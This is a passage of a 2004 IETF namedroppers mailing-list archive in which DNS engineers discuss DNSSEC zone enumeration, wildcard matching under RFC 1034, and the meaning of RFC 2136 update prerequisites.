<owner-namedroppers@ops.ietf.org> To: "Olaf M. Kolkman" <olaf@ripe.net>, namedroppers@ops.ietf.org In-Reply-To: <20040901111452.7276c683.olaf@ripe.net> X-Mailer: Mulberry/3.1.5 (Win32) Content-Disposition: inline Precedence: bulk --On 01 September 2004 11:14 +0200 "Olaf M. Kolkman" <olaf@ripe.net> wrote: > I want to close this thread by giving every participant the > opportunity to state their concluding argument in not more than 20 > lines of text. [ This is a response from me personally and not from Nominet/Geoff/Ben; apologies for it being 21 lines ] ===== Defense against Zone Enumeration is desirable for reasons including: 1. Principle of least surprise - Current DNS implementations allow it 2. Many users require it, e.g: certain registries who for honestly held policy reasons (expounded at length, but outside IETF's remit to debate); enterprise uses where split DNS is not feasible (e.g. web services). 3. For both, there is a qualitative difference between publishing a node & associated RRs, and publishing an index of all nodes. For the former, and possibly the latter, discovery of a significant number of RR's is less undesirable than discovery of a complete or near complete zone. 4. Those registries that publish data normally do so under specific Ts&Cs, and would chose mechanisms more efficient than DNSSEC enumeration. 5. The argument that the data is freely available "anyway", through (for-instance) dictionary attacks, web-server logs etc. has not been supported by empirical evidence; what empirical evidence has been put forward suggests that not all zones are significantly susceptible to dictionary attack, and those that are, are far from wholly susceptible. I recommend that there should be an optional server side alternative mechanism for authenticated denial that does not expose an index to the zone contents, but retains protection against replay attack, and without online signing of denials (impractical, computationally expensive, DoS vector). This should be based upon NSEC, and making as few changes as possible. ===== Alex -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: more wild cards Date: Tue, 7 Sep 2004 14:11:54 -0400 Lines: 46 Sender: owner-namedroppers@ops.ietf.org References: <413920C7.3000809@daimlerchrysler.com> <a06020407bd5ce15f1169@[192.168.1.100]> <a06020401bd5c29d82510@[192.168.1.100]> <27579.1094135350@munnari.OZ.AU> <3659.1094156279@munnari.OZ.AU> <18901.1094415765@munnari.OZ.AU> <413C692C.1060702@algroup.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: Robert Elz <kre@munnari.OZ.AU>, Kevin Darcy <kcd@daimlerchrysler.com>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Tue Sep 07 20:29:59 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <413C692C.1060702@algroup.co.uk> To: Ben Laurie <ben@algroup.co.uk> Precedence: bulk At 14:42 +0100 9/6/04, Ben Laurie wrote: >What I want to know is: what does DNSSEC have to demonstrate to be sure it has >proved there's no wildcard match? Given the apparent lack of >clarity, can we be >sure we know it does that currently? To be clear, this question is getting ahead of the draft, OTOH it is the question that spurred the writing of the draft. If there is no RRSET matching (QNAME, QCLASS, QTYPE), DNSSEC has to provide a means for the recipient to validate the received message. I need to tie the query to the lack of data. If I were able to sign a tailored message - including the original query plus the empty data return (or name error) - then all that is needed is to do that. The recipient would see the signed denial, get the key to validate it, and we are more or less done. Signing a tailored response requires on-line signing. (I assume we all have a good idea of the issues that entails.) The NSEC approach uses precomputed statements (I assume we all know that). Combining the NSEC statements with 4.3.2, we need to supply one NSEC statement per "failure" to match in 4.3.2. In the case of a name error, one error is the failure to find an exact match, a second error is the failure to find the '*'. That's what's needed...you'll note that there's the first level requirement - being able to answer with a negative signed answer - and then the second level requirement which is dependent on the design branch. (I.e., an NSEC needed for the name and one for the wild card - if we do NSEC.) -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Roy Badami <roy@gnomon.org.uk> Subject: Re: dictionary attack on nameservers Date: Tue, 7 Sep 2004 22:57:30 +0100 Lines: 37 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-From: owner-namedroppers@ops.ietf.org Wed Sep 08 00:06:41 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org X-Mailer: VM 7.18 under Emacs 21.3.1 X-Delivery-Agent: TMDA/1.0.2 (Bold Forbes) X-Primary-Address: roy@gnomon.org.uk Received-SPF: pass (spike.gnomon.org.uk: 81.100.86.162 is authenticated by a trusted mechanism) X-Virus-Scanned: clamd / ClamAV version 0.73, clamav-milter version 0.73a on spike.gnomon.org.uk X-Virus-Status: Clean Precedence: bulk I hadn't been intending to respond to the chairs' call for 20-line summaries, since I regard myself as an intersted bystander rather than an active WG member... However Olaf contacted me privately requesting I do so, so here goes... -------- I regard it as highly desirably to reach some sort of consensus that includes those ccTLDs that have concerns about enumeration, and realistically I think that means addressing their requirements, rather than convincing them to change their requirements. I'm pleased that the co-chairs seem to concur that this is worth persuing... I don't have any strong feelings as to the shape that the technical solution should take though I note that Bloom filters have been completely neglected in recent discussions, and I think they may still be of possible value -- see for example Steve Bellovin's ID http://www.research.att.com/~smb/papers/draft-bellovin-dnsext-bloomfilt-00.txt I would argue that authenticated denial is important in a TLD, and that provably-insecure delegations are vital, as without them the level of security offered to customers of that TLD is diminished. I note also that if some TLDs choose not to offer these security guarantees, then there will be no incentive for their customers to migrate away from transitional mechanisms such as Paul Vixie's DLV (which does offer those guarantees, at least to participating resolvers). -roy -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Kevin Darcy <kcd@daimlerchrysler.com> Subject: Re: more wild cards Date: Wed, 08 Sep 2004 00:28:49 -0400 Lines: 78 Sender: owner-namedroppers@ops.ietf.org References: <413920C7.3000809@daimlerchrysler.com> <a06020407bd5ce15f1169@[192.168.1.100]> <a06020401bd5c29d82510@[192.168.1.100]> <27579.1094135350@munnari.OZ.AU> <3659.1094156279@munnari.OZ.AU> <18901.1094415765@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-From: owner-namedroppers@ops.ietf.org Wed Sep 08 06:42:15 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.4) Gecko/20030701 X-Accept-Language: en-us, en To: namedroppers@ops.ietf.org In-Reply-To: <18901.1094415765@munnari.OZ.AU> Precedence: bulk Robert Elz wrote: > Date: Fri, 03 Sep 2004 21:56:23 -0400 > From: Kevin Darcy <kcd@daimlerchrysler.com> > Message-ID: <413920C7.3000809@daimlerchrysler.com> > > | I think one major bit of "looseness" that needs to be addressed here is > | that RFC 1034's Section 4.3.3 restricts the term "wildcard" to names > | _beginning_ with an asterisk label, whereas the lookup algorithm of > | Section 4.3.2 talks about "matching down, label by label", when to look > | for an asterisk label, and what to do if one is found, without any > | limitations on whether the asterisk label is the first one in an owner > | name or not. > >Actually, this isn't as different as it appears to be. Remember that if the >name a.b.c.d exists, then so do the names b.c.d.e c.d.e d.e and e. > >If any of a b c d or e is '*' then there is a name that begins with '*'. > >However, 4.3.3 talks of RR's owned by '*' - which is what is important >for wildcards, and why names like a.*[.anything] in a zone are useless >(ignoring the case where someone is doing a lookup for a qname containing >a '*' label where those a.* names work just like any other name). > >If a.* is present in the zone then the '*' label (by virtue of this RR >anyway) has no RR's attached to it - it is what we have come to call an >empty non-terminal. The lookup algorithm finds the '*', matches its RR's >(of which there are none) against the QTYPE, must fail to find anything, >terminates the search, and returns an empty answer. For all practical >purposes, that's exactly the same as returning a "no such name" error, >whatever we wanted to do that caused the name lookup to be done is going >to fail, as the data we wanted isn't there. > I was considering the difference between an NXDOMAIN and a NODATA response to be a significant one. Admittedly, there isn't much difference from the perspective of a garden-variety app calling gethostbyname(), or whatever, but I was under the (possibly mistaken) impression that this difference mattered from a DNSSEC perspective. At the very least, isn't part of the justification for having a concept of "empty non-terminal"s at all (a concept that I think belongs to an old-fashioned "tree" paradigm rather than the more modern index-into-a-database paradigm, and therefore rather difficult to convey to novices who often aren't so steeped in hierarchical design models) the alleged ability of a caching resolver to "prune" the namespace, so that queries for names underneath a "branch" that is known to not exist at all (i.e. an empty non-terminal) can be automatically answered in the negative without having to incur a subsidiary query to the authoritative servers for the zone? If we're going to consider NXDOMAIN and NODATA to be functionally equivalent, then I say let's go all the way and just abolish the notion of an "empty non-terminal" altogether. K.I.S.S. If, on the other hand, NXDOMAIN and NODATA are not, "[f]or all practical purposes [...] exactly the same", then the spec should either a) refine the lookup algorithm to *only* give special meaning to asterisk labels that are part of "wildcard"s, or b) broaden the definition of "wildcard" to include any name with an asterisk label in it. Hopefully the new draft can reconcile the tension that exists between _de_jure_ "wildcards" and _de_facto_ "names containing asterisk labels that might cause special behavior within the lookup algorithm". In addition to the difference between an NXDOMAIN and a NODATA response, there is still the legalistic question of whether Section 4.3.3's prohibition on multiple asterisk labels in a "wildcard" owner name functionally "turns off" the special behavior that would otherwise occur with asterisk labels, in the case where none of the multiple-asterisk-labels happens to be the first label of the name, and therefore the name itself does not technically qualify as a "wildcard" under 4.3.3's definition... - Kevin -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: "Olaf M. Kolkman" <olaf@ripe.net> Subject: Re: dictionary attack on nameservers Date: Wed, 8 Sep 2004 10:20:59 +0200 Organization: RIPE NCC Lines: 26 Sender: owner-namedroppers@ops.ietf.org References: <16702.11978.922191.709874@giles.gnomon.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-From: owner-namedroppers@ops.ietf.org Wed Sep 08 10:29:40 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org In-Reply-To: <16702.11978.922191.709874@giles.gnomon.org.uk> X-Mailer: Sylpheed version 0.9.11 (GTK+ 1.2.10; i686-pc-linux-gnu) X-RIPE-Spam-Level: X-RIPE-Spam-Status: N 0.000000 / 0.0 / 0.0 / disabled X-RIPE-Signature: 66e2b9a788ff70bc647b0372a39c9c14 Precedence: bulk On Tue, 7 Sep 2004 22:57:30 +0100 Roy Badami <roy@gnomon.org.uk> wrote: > However Olaf contacted me privately requesting For the record this was my request: Hello, I am sending this message to a few people that where had an outspoken meaning in this discussion. With reference to http://ops.ietf.org/lists/namedroppers/namedroppers.2004/msg01600.html would you mind giving a 20 lines conclusion of your arguments? Thanks, -- Olaf -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: "Tom Schmitt" <TomSchmitt@gmx.de> Subject: Interpretation of RFC 2136 Date: Wed, 8 Sep 2004 10:30:24 +0200 (MEST) Lines: 66 Sender: owner-namedroppers@ops.ietf.org References: <200409072217.i87MHbQe037524@drugs.dv.isc.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-From: owner-namedroppers@ops.ietf.org Wed Sep 08 10:37:02 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org X-Priority: 3 (Normal) X-Authenticated: #21806675 X-Mailer: WWW-Mail 1.6 (Global Message Exchange) X-Flags: 0001 Precedence: bulk Hi, in RFC 2136 (Dynamic Updates in the Domain Name System) there are a section explaining the behavior how a server react to the updates where is a section which refers to Prerequisites: > > (2) RRset exists (value dependent). A set of RRs with a > specified NAME and TYPE exists and has the same members > with the same RDATAs as the RRset specified here in this > Section. > My understanding of this is, that when I sent prereq yxrrset foo.baa.com A 10.0.0.2 I'll get NOERROR if there is a record "foo.baa.com A 10.0.0.2" and I will get NXRRSET if there is no such a record. Now I discovered, there are circumstances in which the Bind does not react in this way. If there is such a record but also another record with the same name and type, but another IP-Adress, then the Bind answer NXRRSET even though such a record exist. I send a question regarding this to the bind-mailinglist, but the answer was, that it is no bug, but a question of interpreting RFC 2136: > > (2) RRset exists (value dependent). A set of RRs with a > specified NAME and TYPE exists and has the same members > with the same RDATAs as the RRset specified here in this > Section. > > The prerequisite section talks about RR sets. This is a > exact match. Unfortunately there is no way to specify a > partial match. For a partial match it would have words to > like. > > (2) RRset exists (value dependent). A set of RRs with a > specified NAME and TYPE exists and has the same members > with the same RDATAs as the RRset specified here in this > Section plus possibly other RRs with the same NAME and TYPE. > > If you feel our interpretation is wrong this should be discussed > on namedroppers. > > Mark Andrews, ISC So what is the right interprtation? And if the version of Mark Andrews is right, is there a way to determinate if a record exist which will word in all circumstances? Thanks, Tom. -- NEU: Bis zu 10 GB Speicher f�r e-mails & Dateien! 1 GB bereits bei GMX FreeMail http://www.gmx.net/de/go/mail -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Miek Gieben <miekg@atoom.net> Subject: Re: dictionary attack on nameservers Date: Wed, 8 Sep 2004 11:55:46 +0200 Lines: 30 Sender: owner-namedroppers@ops.ietf.org References: <16702.11978.922191.709874@giles.gnomon.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-From: owner-namedroppers@ops.ietf.org Wed Sep 08 12:08:54 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org Mail-Followup-To: namedroppers@ops.ietf.org Content-Disposition: inline In-Reply-To: <16702.11978.922191.709874@giles.gnomon.org.uk> User-Agent: Vim/Mutt/Linux X-Home: www.miek.nl X-Virus-Scanned: by amavisd-new Precedence: bulk Hello, I could only manage to write 17 lines :-) But here is goes: First of all, any solution to be found for the "problem" of enumeration is a solution that will only work for 50% (as there are other ways of getting the data). If think a protocol change is a big sacrifice for a non optimal solution. Secondly only a few TLD's have expressed their concern about this, which is, IMO, again another reason not to fiddle with the protocol. That said, I also take the view that enumeration in DNSSEC should not be made easier than it is today. The requirements from Ed [1] are a good starting point. But as Ed said - you will never have a solution that will satisfy all these contraints. [1] http://ops.ietf.org/lists/namedroppers/namedroppers.2004/msg01610.html grtz Miek -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Jelte Jansen <jelte@NLnetLabs.nl> Subject: Re: dictionary attack on nameservers Date: Wed, 08 Sep 2004 12:10:25 +0200 Lines: 30 Sender: owner-namedroppers@ops.ietf.org References: <16702.11978.922191.709874@giles.gnomon.org.uk> <20040908095546.GA24356@atoom.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-From: owner-namedroppers@ops.ietf.org Wed Sep 08 12:19:11 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.5 (X11/20040306) X-Accept-Language: en-us, en To: namedroppers@ops.ietf.org In-Reply-To: <20040908095546.GA24356@atoom.net> Precedence: bulk Okay, here's my 20 lines. --start line count-- I think Lewis summed it up pretty well, and I don't see any way to satisfy all these constraints either, it would be great if someone else would. One of the biggest problems I have with all this is that DNS(SEC) is complicated enough as it is, and we should be really really really sure that it is a problem (...of DNS (...on the protocol level)), before we start adding yet more complexity to it all (which is a security risk itself). For those who have problems with enumeration, online signing shall probably not be a solution either, but muddying up the namespace will not make administrating zones any easier. Insofar i have read the proposals I have serious doubts if they solve the enumeration problem, but that can probably be fixed, and I haven't given them much attention (see above). The 5 requirements mentioned by Lewis should be at least present in the requirements documentation, be it as hard requirements or strong considerations, as the trade-off for any solution should be well considered. -- line 20 -- Jelte -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: more wild cards Date: Wed, 08 Sep 2004 14:02:37 +0100 Lines: 59 Sender: owner-namedroppers@ops.ietf.org References: <413920C7.3000809@daimlerchrysler.com> <a06020407bd5ce15f1169@[192.168.1.100]> <a06020401bd5c29d82510@[192.168.1.100]> <27579.1094135350@munnari.OZ.AU> <3659.1094156279@munnari.OZ.AU> <18901.1094415765@munnari.OZ.AU> <413C692C.1060702@algroup.co.uk> <a06020411bd63a804f192@[192.168.1.100]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Robert Elz <kre@munnari.OZ.AU>, Kevin Darcy <kcd@daimlerchrysler.com>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 08 15:14:03 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502) X-Accept-Language: en To: Edward Lewis <edlewis@arin.net> In-Reply-To: <a06020411bd63a804f192@[192.168.1.100]> X-Enigmail-Version: 0.84.2.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Edward Lewis wrote: > At 14:42 +0100 9/6/04, Ben Laurie wrote: > >> What I want to know is: what does DNSSEC have to demonstrate to be >> sure it has >> proved there's no wildcard match? Given the apparent lack of clarity, >> can we be >> sure we know it does that currently? > > > To be clear, this question is getting ahead of the draft, OTOH it is the > question that spurred the writing of the draft. > > If there is no RRSET matching (QNAME, QCLASS, QTYPE), DNSSEC has to > provide a means for the recipient to validate the received message. > > I need to tie the query to the lack of data. If I were able to sign a > tailored message - including the original query plus the empty data > return (or name error) - then all that is needed is to do that. The > recipient would see the signed denial, get the key to validate it, and > we are more or less done. > > Signing a tailored response requires on-line signing. (I assume we all > have a good idea of the issues that entails.) > > The NSEC approach uses precomputed statements (I assume we all know > that). Combining the NSEC statements with 4.3.2, we need to supply one > NSEC statement per "failure" to match in 4.3.2. In the case of a name > error, one error is the failure to find an exact match, a second error > is the failure to find the '*'. That is if there is a "the" '*'. If there are multiple possibilities (e.g. a '*' in the middle somewhere) then you need to provide further proofs. > That's what's needed...you'll note that there's the first level > requirement - being able to answer with a negative signed answer - and > then the second level requirement which is dependent on the design > branch. (I.e., an NSEC needed for the name and one for the wild card - > if we do NSEC.) Indeed. Cheers, Ben. -- http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Mark Andrews <Mark_Andrews@isc.org> Subject: Re: more wild cards Date: Wed, 08 Sep 2004 23:54:58 +1000 Lines: 85 Sender: owner-namedroppers@ops.ietf.org References: <413F02ED.70506@algroup.co.uk> Cc: Edward Lewis <edlewis@arin.net>, Robert Elz <kre@munnari.OZ.AU>, Kevin Darcy <kcd@daimlerchrysler.com>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 08 16:09:12 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Ben Laurie <ben@algroup.co.uk> In-reply-to: Your message of "Wed, 08 Sep 2004 14:02:37 +0100." <413F02ED.70506@algroup.co.uk> Precedence: bulk > Edward Lewis wrote: > > > At 14:42 +0100 9/6/04, Ben Laurie wrote: > > > >> What I want to know is: what does DNSSEC have to demonstrate to be > >> sure it has > >> proved there's no wildcard match? Given the apparent lack of clarity, > >> can we be > >> sure we know it does that currently? > > > > > > To be clear, this question is getting ahead of the draft, OTOH it is the > > question that spurred the writing of the draft. > > > > If there is no RRSET matching (QNAME, QCLASS, QTYPE), DNSSEC has to > > provide a means for the recipient to validate the received message. > > > > I need to tie the query to the lack of data. If I were able to sign a > > tailored message - including the original query plus the empty data > > return (or name error) - then all that is needed is to do that. The > > recipient would see the signed denial, get the key to validate it, and > > we are more or less done. > > > > Signing a tailored response requires on-line signing. (I assume we all > > have a good idea of the issues that entails.) > > > > The NSEC approach uses precomputed statements (I assume we all know > > that). Combining the NSEC statements with 4.3.2, we need to supply one > > NSEC statement per "failure" to match in 4.3.2. In the case of a name > > error, one error is the failure to find an exact match, a second error > > is the failure to find the '*'. > > That is if there is a "the" '*'. If there are multiple possibilities > (e.g. a '*' in the middle somewhere) then you need to provide further > proofs. No. You need to prove the QNAME does not exist. You need to prove the (singular) wildcard does not exist. You need to prove that the wildcard without the first label exists. This comes directly from RFC 1034. If you look at RFC 1034 you will see that for any given zone and QNAME there is one and only one possible wildcard match. With NSEC you can always do this with a maximum of two records and if you are lucky with one. The NSEC record that proves that the QNAME does not exist also identifies which wildcard needs to be checked and provides the proof of existance of the wildcard without the first label. Mark > > That's what's needed...you'll note that there's the first level > > requirement - being able to answer with a negative signed answer - and > > then the second level requirement which is dependent on the design > > branch. (I.e., an NSEC needed for the name and one for the wild card - > > if we do NSEC.) > > Indeed. > > Cheers, > > Ben. > > -- > http://www.apache-ssl.org/ben.html http://www.thebunker.net/ > > "There is no limit to what a man can do or how far he can go if he > doesn't mind who gets the credit." - Robert Woodruff > > -- > to unsubscribe send a message to namedroppers-request@ops.ietf.org with > the word 'unsubscribe' in a single line as the message text body. > archive: <http://ops.ietf.org/lists/namedroppers/> -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: Mark_Andrews@isc.org -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Edward Lewis <edlewis@arin.net> Subject: thesaurus attack Date: Wed, 8 Sep 2004 10:13:39 -0400 Lines: 61 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: edlewis@arin.net X-From: owner-namedroppers@ops.ietf.org Wed Sep 08 16:24:49 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 To: namedroppers@ops.ietf.org Precedence: bulk Now that I've got your attention, let's talk wild cards... In the past week or so - 1) The history of wanting to clean up what's the deal with wild cards has returned, with some talk about legal names. (This is one of the issues on the table.) 2) A well known coder supported the idea of making some names illegal, presumably this makes the coding cleaner as you then know to have "if"'s in some places. 3) A well known protocol analyst rejected the idea of makeing some names illegal because imposing restrictions would have two impacts - possibly retroactively creating bugs in code and restricting the theory and concept of the protocol. 4) Many unnamed operators have remained silent on the subject because no one really does this anyway. Oh, 'cept that the MARID WG seems to have thought they might have wanted to open this box belonging to Pandora. As editor of the document, I'd like to see us all get to something we can live with. From the MARID experience, it's clear that we want to clarify what's going on here, ergo, we need to do something. I'll float this idea. It's an idea, I think it can work, but it's up to the WG. REMOVE the restriction in 1034: "<anydomain> should not contain other * labels". This opens the protocol to places it's not been, so there's no danger to old code. Further, by relaxing a restriction it does not impinge another part of the protocol. As far as "is it doable" - a lot of text has already been floated showing how the matching is "supposed to" work in the face of interior "*"s. No one pointed out a problem with it until the words in 1034 were raised. Those words in 1034 are the only ones that define "illegal" names in DNS. Without them, we have no restrictions other than length (label and name). In addition, dropping the restriction drops one more "if" statement (whose "then" clause wasn't really defined) while still leaving us with a "decidable" algorithm. Comments? -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: more wild cards Date: Wed, 8 Sep 2004 09:59:36 -0400 Lines: 68 Sender: owner-namedroppers@ops.ietf.org References: <413920C7.3000809@daimlerchrysler.com> <a06020407bd5ce15f1169@[192.168.1.100]> <a06020401bd5c29d82510@[192.168.1.100]> <27579.1094135350@munnari.OZ.AU> <3659.1094156279@munnari.OZ.AU> <18901.1094415765@munnari.OZ.AU> <413C692C.1060702@algroup.co.uk> <a06020411bd63a804f192@[192.168.1.100]> <413F02ED.70506@algroup.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: Edward Lewis <edlewis@arin.net>, Robert Elz <kre@munnari.OZ.AU>, Kevin Darcy <kcd@daimlerchrysler.com>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 08 16:25:45 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <413F02ED.70506@algroup.co.uk> To: Ben Laurie <ben@algroup.co.uk> Precedence: bulk At 14:02 +0100 9/8/04, Ben Laurie wrote: >Edward Lewis wrote: > >> At 14:42 +0100 9/6/04, Ben Laurie wrote: >> >>> What I want to know is: what does DNSSEC have to demonstrate to be sure it >>> has proved there's no wildcard match? Given the apparent lack of clarity, >>> can we be sure we know it does that currently? >> >> To be clear, this question is getting ahead of the draft, OTOH it is the >> question that spurred the writing of the draft. >> If there is no RRSET matching (QNAME, QCLASS, QTYPE), DNSSEC has to provide >> a means for the recipient to validate the received message. >> I need to tie the query to the lack of data. If I were able to sign a >> tailored message - including the original query plus the empty data return >> (or name error) - then all that is needed is to do that. The recipient >> would see the signed denial, get the key to validate it, and we are more >> or less done. >> >> Signing a tailored response requires on-line signing. (I assume we all >> have a good idea of the issues that entails.) >> The NSEC approach uses precomputed statements (I assume we all know that). >> Combining the NSEC statements with 4.3.2, we need to supply one NSEC >> statement per "failure" to match in 4.3.2. In the case of a name error, >> one error is the failure to find an exact match, a second error is the >> failure to find the '*'. > >That is if there is a "the" '*'. If there are multiple possibilities (e.g. a >'*' in the middle somewhere) then you need to provide further proofs. There are no multiple possibilities. That's the point of the closest encloser - there is one and only one node present in the DNS data tree that is closest to the sought name. The *only* wild card that is eligible to match the sought name is then "*.<closest encloser>." This is regardless of the contents (label sequence) of the "closest encloser". Suspending disbelief for the moment, let's say 1034 didn't restrict internal '*'s. If there was the name "*. one.*.two.example.com" and I was matching "zebra.donkey.one.*.two.example.com"... the closest encloser would be one.*.two.example.com (assuming no donkey or zebra.donkey). In that case, "zebra.donkey" matches the first (leftmost) "*" in the wild card. (This is all cool, 'cept for the blurb in 1034. It really is...;)) >> That's what's needed...you'll note that there's the first level >>requirement - being able to answer with a negative signed answer - >>and then the second level requirement which is dependent on the >>design branch. (I.e., an NSEC needed for the name and one for the >>wild card - if we do NSEC.) > >Indeed. -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: more wild cards Date: Wed, 08 Sep 2004 15:32:27 +0100 Lines: 77 Sender: owner-namedroppers@ops.ietf.org References: <413920C7.3000809@daimlerchrysler.com> <a06020407bd5ce15f1169@[192.168.1.100]> <a06020401bd5c29d82510@[192.168.1.100]> <27579.1094135350@munnari.OZ.AU> <3659.1094156279@munnari.OZ.AU> <18901.1094415765@munnari.OZ.AU> <413C692C.1060702@algroup.co.uk> <a06020411bd63a804f192@[192.168.1.100]> <413F02ED.70506@algroup.co.uk> <a06020406bd64beea9a38@[192.136.136.102]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Robert Elz <kre@munnari.OZ.AU>, Kevin Darcy <kcd@daimlerchrysler.com>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 08 16:43:13 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502) X-Accept-Language: en To: Edward Lewis <edlewis@arin.net> In-Reply-To: <a06020406bd64beea9a38@[192.136.136.102]> X-Enigmail-Version: 0.84.2.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Edward Lewis wrote: > At 14:02 +0100 9/8/04, Ben Laurie wrote: > >> Edward Lewis wrote: >> >>> At 14:42 +0100 9/6/04, Ben Laurie wrote: >>> >>>> What I want to know is: what does DNSSEC have to demonstrate to be >>>> sure it >>>> has proved there's no wildcard match? Given the apparent lack of >>>> clarity, >>>> can we be sure we know it does that currently? >>> >>> >>> To be clear, this question is getting ahead of the draft, OTOH it is >>> the >>> question that spurred the writing of the draft. >>> If there is no RRSET matching (QNAME, QCLASS, QTYPE), DNSSEC has to 